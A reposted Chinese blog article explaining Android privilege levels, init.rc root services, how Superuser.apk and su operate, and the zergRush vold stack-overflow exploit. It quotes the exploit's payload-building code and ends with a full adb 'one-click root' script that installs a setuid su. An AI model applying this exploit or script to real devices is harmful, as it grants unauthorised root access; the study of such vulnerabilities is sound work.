在Android系统中,系统为每一个应用程序(apk)创建了一个用户和组。这个用户和组都是受限用户,不能访问系统的数据,只能访问自己的文件和目录,当然它也不能访问其他应用程序的数据。这样设计可以尽可能地保护应用程序的私有数据,增强系统的安全性和健壮性。
但是有一些应用程序是需要访问一些系统资源的。比如Setting程序,它需要访问WiFi,在系统中创建删除文件等等操作。怎样做到这一点儿呢?Android通过一定途径可以获得system权限。获得system用户权限,需要以下步骤:
1.在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。 2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行 3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。
一般情况下system用户可以在系统中创建和删除文件,访问设备等等。但是有些情况下system权限还是不够的。比如:设置网卡IP地址,ifconfig命令是需要root权限的。我可以很肯定的说,在Android下面应用程序是没有可能拿到root权限的。但是如果我的应用程序需要root权限怎么办呢?只能想办法绕般过去。就以我的问题为例,设置网卡IP地址,root权限下面命令为:
ifconfig eth0 192.168.1.188
在普通用户或者system用户权限下面这条命令是不起作用的,但是不会返回失败和异常,那么怎样实现这个功能呢(两种思路)。
1、系统启动的时候init进程创建一个后台进程,该进程处于root用户权限下面。用来监听系统中应用程序的请求(可以用socket实现),并代其完成。这样应用程序就可以执行root用户权限的任务了。
2、实现一个虚拟的设备,该设备的功能就是在内核态帮应用程序执行相应的命令。Linux内核态没有权限的问题了。肯定可以执行成功。
解决设置网卡IP地址问题时,选择是后者相对来说设计比较简单。
应用程序利用init.rc service获得root权限
想在android应用程序中动态mount一个NFS的系统,但是执行mount命令必须要root权限才可以。一般情况下,在Android的APK层是不能获得root权限的。
上一节提到实现由init启动的Service,来帮助Android应用程序执行root权限的命令或者实现一个虚拟设备,这个设备帮助Android应用程序执行root权限的命令。
本文将会选择第一种来解决Android应用程序mount NFS文件系统的问题。
Init.rc Service
在Android系统init.rc中定义很多Service,Init.rc中定义的Service将会被Init进程创建,这样将可以获得root权限。
设置系统属性“ctl.start”,把“ctl.start”设置为你要运行的Service,假设为“xxx”,Android系统将会帮你运行“ctl.start”系统属性中指定的Service。那么运行结果init进程会写入命名为“init.svc.+xxx”的系统属性中,应用程序可以参考查阅这个值来确定Service xxx执行的情况。
Android系统属性(property)权限
难道Android属性“ctl.start”不是所有进程都可以设置的,见property_service.c中的源码,设置Android系统属性的函数为handle_property_set_fd(),从源码中可以发现如果设置“ctl.”开头的Android系统属性,将会调用check_control_perms函数来检查调用者的权限,只有root权限和system权限的应用程序才可以修改“ctl.”开头的Android系统属性。否则将会检查control_perms全局变量中的定义权限和Service。从代码中可以看到,任何不以property_perms[]中定义的前缀开头的property 是无法被除root以外的用户访问的,包括system用户。
实例
下面以上面提出的mount nfs文件系统为例说明:
A.首先定义一个执行mount的脚本,我把它位于/system/etc/mount_nfs.sh,定义如下:
1:#!/system/bin/sh
2:
3:/system/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt
不要忘了把它加上可执行权限。
B.在init.rc中加入一个Service定义,定义如下:
1:service mount_nfs /system/etc/mount_nfs.sh
2:oneshot
3:disabled
C.让自己的应用程序获得system权限,方法见前面章节
D.在自己应用程序中设置System系统属性“ctl.start”为“mount_nfs”,这样Android系统将会帮我们运行mount_nfs系统属性了。不能够调用System.getProperty,这个函数只是修改JVM中的系统属性。只能调用android.os.SystemProperties,最终通过JNI调用C/C++层的API property_get和property_set函数。
SystemProperties.set("ctl.start","mount_nfs");
E.最后在自己应用程序中,读取“init.svc.mount_nfs”Android系统Property,检查执行结果。代码如下:
1:while(true)
2:{
3:mount_rt = SystemProperties.get("init.svc.mount_nfs","");
4:if(mount_rt != null && mount_rt.equals("stopped"))
5:{
6:returntrue;
7:}
8:
9:try
10:{
11:Thread.sleep(1000);
12:}catch(Exception ex){
13:Log.e(TAG,"Exception: "+ ex.getMessage());
14:}
15:}
init进程维护一个service的队列,所以我们需要轮训来查询service的执行结果。
1.文件(夹)读写权限
init.rc中建立test1 test2 test3文件夹
mkdir /data/misc/test1 0770 root root
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc
其中
test1目录的owner是root, group也是root
test2目录的owner是wifi , group也是wifi
test3目录的owner是system , group是misc(任何用户都属于group misc)
service xxxx /system/bin/xxxx
user root
disabled
oneshot
service yyyy /system/bin/yyyy
user system
disabled
oneshot
service zzzz /system/bin/zzzz
user wifi
disabled
oneshot
结果:
xxxx服务可以访问test1, test2, test3
yyyy服务可以访问test3
zzzz服务可以访问test2, test3
见android_filesystem_config.h中定义AID_ROOT AID_SYSTEM AID_MISC等宏定义的权限
360等特殊系统是否可以考虑在AID_ROOT和AID_SYSTEM之间加一个权限和用户,增加新的哦property给360用?
通过上面的这些步骤,Android应用程序就能够调用init.rc中定义的Service了。这样你的Android应用程序也就获得了root权限。前提是Android系统开发人员,否则你无法修改init.rc等文件,而且应用程序必须要获得system权限。
管理root权限原理分析
原理是利用了android的两个提权漏洞:CVE--EASY和ZergRush。 我把大概原理简单说说:
1,CVE--EASY:linux的内核的模块化程度很高,很多功能模块是需要到时候再加载,在android中由init进程来管理这些的。但是这个init进程不会检测发给它的指令的来源,不管是内核发送的,还是用户发送的,它都执行不误,会顺从的去加载或卸载一些模块,而加载的模块都是以root身份运行的。因此你可以给它准备一个精心制作的功能模块(ko文件),然后触发相应的加载条件,比如热拔插、开关wifi等等, 该功能模块运行后,会生成/data/local/tmp/rootshell一个带s位的shell。
2,ZergRush原理: 具有root权限的vold进程使用了libsysutils.so库,该库有个函数存在栈溢出,因此可以root权限执行输入的shellcode。
3.还有个前面提到的adb提权漏洞,不够新版本已经修正了。
扯了半天还没扯到superuser.apk,这个程序是root成功后,专门用来管理root权限使用的,防止被恶意程序滥用。
源码地址:
/svn/trunk
带着两个问题我们来分析源码:
1、superuser是怎么知道谁想用root权限?
2、superuser是如何把用户的选择告诉su程序的呢?
即superuser和su程序是如何通讯的,他们俩位于不通的时空,一个在java虚拟机中,一个在linux的真实进程中。
共有两个activity: SuperuserActivity和SuperuserRequestActivity。
其中SuperuserActivity主要是用来管理白名单的,就是记住哪个程序已经被允许使用root权限了,省的每次用时都问用户。
SuperuserRequestActivity就是用来询问用户目前有个程序想使用root权限,是否允许,是否一直允许,即放入白名单。
这个白名单比较关键,是一个sqlite数据库文件,位置:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite
root的本质就是往/system/bin/下放一个带s位的,不检查调用者权限的su文件。普通程序可以调用该su来运行root权限的命令。superuser.apk中就自带了一个这样的su程序。一开始superuser会检测/system/bin/su是否存在,是否是自个放进去的su:
File su = new File("/system/bin/su");// 检测su文件是否存在,如果不存在则直接返回 if (!su.exists()) {Toast toast = Toast.makeText(this, "Unable to find
/system/bin/su.", Toast.LENGTH_LONG); toast.show(); return; }
//检测su文件的完整性,比较大小,太省事了吧 //如果大小一样,则认为su文件正确,直接返回了事。 if (su.length() == suStream.available()) {suStream.close(); return; }
// 如果检测到/system/bin/su 文件存在,但是不对头,则把自带的su先写到"/data/data/com.koushikdutta.superuser/su" // 再写到/system/bin/su。
byte[] bytes = new byte[suStream.available()]; DataInputStream dis = new DataInputStream(suStream); dis.readFully(bytes); FileOutputStream suOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su"); suOutStream.write(bytes); suOutStream.close(); Process process = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(process.getOutputStream()); os.writeBytes("mount -oremount,rw /dev/block/mtdblock3 /system\n"); os.writeBytes("busybox cp /data/data/com.koushikdutta.superuser/su /system/bin/su\n"); os.writeBytes("busybox chown 0:0 /system/bin/su\n"); os.writeBytes("chmod 4755 /system/bin/su\n"); os.writeBytes("exit\n"); os.flush();
上面提到的su肯定是动过手脚的,有进程使用root权限,superuser是怎么知道的,看完su的代码明白了,关键是句:
sprintf(sysCmd, "am start -a android.intent.action.MAIN
-n com.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity
--ei uid %d --ei pid %d > /dev/null", g_puid, ppid);
if (system(sysCmd)) return executionFailure("am.");
原理是am命令,看了下am的用法,明白了:
在Android中,除了从界面上启动程序之外,还可以从命令行启动程序,使用的是命令行工具am启动的方法为
$ adb shell
$ su
# am start -n{包(package)名}/{包名}.{活动(activity)名称}
程序的入口类可以从每个应用的AndroidManifest.xml的文件中得到,以计算器(calculator)为例,它的
<manifest xmlns:android="/apk/res/android" …
package="com.android.calculator2" …>…
由此计算器(calculator)的启动方法为:
# am start -n com.android.calculator2/com.android.calculator2.Calculator
一般情况希望,一个Android应用对应一个工程。值得注意的是,有一些工程具有多个活动(activity),而有一些应用使用一个工程。例如:在Android界面中,Music和Video是两个应用,但是它们使用的都是packages/apps/Music这一个工程。而在这个工程的AndroidManifest.xml文件中,有包含了不同的活动(activity)。
Music和Video(音乐和视频)的启动方法为:
# am start -n com.android.music/com.android.music.MusicBrowserActivity
# am start -n com.android.music/com.android.music.VideoBrowserActivity
# am start -n com.android.music/com.android.music.MediaPlaybackActivity
启动浏览器:
am start -a android.intent.action.VIEW -d/
拨打电话:
am start -a android.intent.action.CALL -d tel:10086
启动google map直接定位到北京:
am start -a android.intent.action.VIEW geo:0,0?q=beijing
usage: am [subcommand] [options](am工具的使用方法)
start an Activity: am start [-D] [-W] <INTENT>
-D: enable debugging
-W: wait for launch to complete
start a Service: am startservice <INTENT>
send a broadcast Intent: am broadcast <INTENT>
start an Instrumentation: am instrument [flags] <COMPONENT>
-r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT)
-e <NAME> <VALUE>: set argument <NAME> to <VALUE>
-p <FILE>: write profiling data to <FILE>
-w: wait for instrumentation to finish before returning
start profiling: am profile <PROCESS> start <FILE>
stop profiling: am profile <PROCESS> stop
<INTENT> specifications include these flags:
[-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] ...]
[-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
[--esn <EXTRA_KEY> ...]
[--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
[-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
[-n <COMPONENT>] [-f <FLAGS>]
[--grant-read-uri-permission] [--grant-write-uri-permission]
[--debug-log-resolution]
[--activity-brought-to-front] [--activity-clear-top]
[--activity-clear-when-task-reset] [--activity-exclude-from-recents]
[--activity-launched-from-history] [--activity-multiple-task]
[--activity-no-animation] [--activity-no-history]
[--activity-no-user-action] [--activity-previous-is-top]
[--activity-reorder-to-front] [--activity-reset-task-if-needed]
[--activity-single-top]
[--receiver-registered-only] [--receiver-replace-pending]
[<URI>]
还有个疑点,就是su怎么知道用户是允许root权限还是反对那?原来是上面提到的白名单起来作用,superuser把用户的选择放入:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite数据库中,然后su进程再去读该数据库来判断是否允许。
static int checkWhitelist(){sqlite3 *db;int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL);if (!rc){char *errorMessage; char query[1024]; sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid); struct whitelistCallInfo callInfo; callInfo.count = 0; callInfo.db = db; rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage); if (rc != SQLITE_OK) {sqlite3_close(db); return 0; } sqlite3_close(db); return callInfo.count;}sqlite3_close(db);return 0;}
一键root原理
漏洞— zergRush
提权实现的代码,见:
/revolutionary/zergRush/blob/master/zergRush.c
需要了解一下是哪个地方有问题,边分析边记录此次过程。
文件不大,当然从 main 入手了,
if(geteuid()==0&&getuid()==0&&strstr(argv[0],"boomsh"))
do_root();
明显,当有了 Root 能力后去做一个可以保持 Root 的动作,猜测,此程序会被调用多次,并且再次调用的时候程序名称为 boomsh
看一下 do_root 吧
写了一个属性 ro.kernel.qemu 为 1
明显是让手机当成模拟器运行,见 \android2.32\system\core\adb\adb.c 中的代码
1. /*runadbdinsecuremodeifro.secureissetand
2. **wearenotintheemulator
3. */
4. property_get("ro.kernel.qemu",value,"");
5. if(strcmp(value,"1")!=0){
6. property_get("ro.secure",value,"");
7. if(strcmp(value,"1")==0){
8. //don'trunasrootifro.secureisset...
9. secure=1;
10.
11. //...exceptweallowrunningasrootinuserdebugbuildsifthe
12. //service.adb.rootpropertyhasbeensetbythe"adbroot"command
13. property_get("ro.debuggable",value,"");
14. if(strcmp(value,"1")==0){
15. property_get("service.adb.root",value,"");
16. if(strcmp(value,"1")==0){
17. secure=0;
18. }
19. }
20. }
21. }
以后调用 adb 默认是 Root 用户了。
下面又做了一件事把自己拷贝到 /data/local/tmp/boomsh
把 SH 拷贝到 /data/local/tmp/sh
改变 /data/local/tmp/boomsh 的权限为 711 ,可执行了
然后获取 /system/bin/vold 程序的大小,
通过 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 这样的一个计算,得到该程序的堆地址, 有点意思了,对 vold 程序有了歪脑筋了
用过在手机上用 ps 看一下,这个程序有是从 root 用户执行过来的。
然后获取了一下手机的版本号,只对 2.2 2.3 二个版本进行处理,并修正了一上 heap_addr 的地址。
然后又找了一下 system 系统调用函数的地址,放到 system_ptr 中
继续看 checkcrash()
>> 清除了一下 logcat 日志
>> 删除 /data/local/tmp/crashlog 文件
>> 简立一个子进程,去生成一下 crashlog 文件。
>> 调用 do_fault
>> 打开 crashlog 文件
>> 在 crashlog 中找到崩溃信息,找到 sp 寄存器地址。
等等,为什么崩溃呢,肯定是在 do_fault 中制造的,我们要看看这块了
这个函数比较乱,找找重点看
if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
不错的信息,连接 vold ,又是它,以前听说过它有漏洞,这次还是它。
write(sock, buf, n+1)
写了一些信息,不知道什么信息,但是可以肯定的是,能让 vold 崩溃的信息。
下面回到 main 继续!
一个 For 循环处理。
find_stack_addr 用了上面的相同方法,从崩溃信息中找到程序的栈地址,(至于怎么计算的,以后再去研究了)
一些容错检查,略过!
kill(logcat_pid, SIGKILL);
unlink(crashlog);
find_rop_gadgets()
又一个陌生函数。看了,暂时看不出用途,貌似找点什么,继续!
下面就是再次调用 do_fault ,生成崩溃。
再次判断 sh 是否有没有 s 位, 如果有了,刚 ROOT 功了。
疑问来了,没发现怎么再次调用 boomsh 运行执行 do_root 啊。 顺着它拷贝出来的 sh 文件找找,搜索 bsh 变理的使用情况,发现如下地方:
1. staticintdo_fault()
2. {
3.charbuf[255];
4.intsock=-1,n=0,i;
5.chars_stack_addr[5],s_stack_pivot_addr[5],s_pop_r0_addr[5],s_system[5],s_bsh_addr[5],s_heap_addr[5];
6. uint32_tbsh_addr;
7.charpadding[128];
8. int32_tpadding_sz=(jumpsz==0?0:gadget_jumpsz-jumpsz);
9.
10. memset(padding,0,128);
11. strcpy(padding,"LORDZZZZzzzz");
12. if(padding_sz>0){
13. memset(padding+12,'Z',padding_sz);
14. printf("[*]Poping%dmorezerglings\n",padding_sz);
15. }
16. elseif(padding_sz<0){
17. memset(padding,0,128);
18. memset(padding,'Z',12+padding_sz);
19. }
20.
21. if((sock=socket_local_client("vold",ANDROID_SOCKET_NAMESPACE_RESERVED,SOCK_STREAM))<0)
22. die("[-]ErrorcreatingNydus");
23.
24. sprintf(s_stack_addr,"%c%c%c%c",stack_addr&0xff,(stack_addr>>8)&0xff,(stack_addr>>16)&0xff,(stack_addr>>24)&0xff);
25. sprintf(s_stack_pivot_addr,"%c%c%c%c",stack_pivot&0xff,(stack_pivot>>8)&0xff,(stack_pivot>>16)&0xff,(stack_pivot>>24)&0xff);
26. sprintf(s_pop_r0_addr,"%c%c%c%c",pop_r0&0xff,(pop_r0>>8)&0xff,(pop_r0>>16)&0xff,(pop_r0>>24)&0xff);
27. sprintf(s_system,"%c%c%c%c",system_ptr&0xff,(system_ptr>>8)&0xff,(system_ptr>>16)&0xff,(system_ptr>>24)&0xff);
28. sprintf(s_heap_addr,"%c%c%c%c",heap_addr&0xff,(heap_addr>>8)&0xff,(heap_addr>>16)&0xff,(heap_addr>>24)&0xff);
29.
30. strcpy(buf,"ZERG");
31. strcat(buf,"ZZ");
32. strcat(buf,s_stack_pivot_addr);
33. for(i=3;i<buffsz+1;i++)
34. strcat(buf,"ZZZZ");
35. strcat(buf,"");
36. strcat(buf,s_heap_addr);
37.
38. n=strlen(buf);
39. bsh_addr=stack_addr+n+1+8+8+8+padding_sz+12+4;
40.
41. if(check_addr(bsh_addr)==-1){
42. printf("[-]Colossus,we'redoomed!\n");
43. exit(-1);
44. }
45.
46. sprintf(s_bsh_addr,"%c%c%c%c",bsh_addr&0xff,(bsh_addr>>8)&0xff,(bsh_addr>>16)&0xff,(bsh_addr>>24)&0xff);
47.
48. <strong><spanstyle="color:#ffffff;BACKGROUND-COLOR:#ff0000">n+=sprintf(buf+n+1,"%s%sOVER%s%s%s%sZZZZ%s%c",s_stack_addr,s_heap_addr,padding,s_pop_r0_addr,s_bsh_addr,s_system,bsh,0);</span></strong>
49.
50. printf("[*]Sending%dzerglings...\n",n);
51.
52. if((n=write(sock,buf,n+1))<0)
53. die("[-]Nydusseemsbroken");
54.
55. sleep(3);
56. close(sock);
57.
58. returnn;
59. }
看到上面加色的行了,原来他是用 socket 写的一个 shell code ,调用了他拷贝的 sh 程序。
在 vold 中执行 sh 肯定是 root 啊。
至此,原理很是清楚了, shell code 嘛,运行的时候把他 dump 出来用别的工具看吧!
一键ROOT脚本
1.等待设备连接
adb wait-for-device
2.删除文件
adb shell "cd /data/local/tmp/; rm *"
3.上传zergRush并修改属性去执行
adb push c:\zergRush /data/local/tmp/
adb shell "chmod 777 /data/local/tmp/zergRush"
adb shell "/data/local/tmp/zergRush"
adb wait-for-device
4.上传busybox、给busybox文件执行权限,以可以方式加载文件系统
adb push c:\busybox /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/busybox"
adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
5.复制busybox,修改所在的组及设置s位
adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
adb shell "chown root.shell /system/xbin/busybox"
adb shell "chmod 04755 /system/xbin/busybox"
6.安装busybox并删除临时文件
adb shell "/system/xbin/busybox --install -s /system/xbin"
adb shell "rm -rf /data/local/tmp/busybox"
7.对su进行类似busybox的处理
adb push c:\fu /system/bin/su
adb shell "chown root.shell /system/bin/su"
adb shell "chmod 06755 /system/bin/su"
adb shell "rm /system/xbin/su"
adb shell "ln -s /system/bin/su /system/xbin/su"
8.安装其它工具
adb push c:\superuser.apk /system/app/
adb shell "cd /data/local/tmp/; rm *"
adb reboot
adb wait-for-device
adb install c:\recovery.apk
总结:这篇转载的文章虽然上面提到的漏洞和方法只在较低的版本上能够运行成功,但是却是对Android安全和漏洞利用思路的一个启发和基础。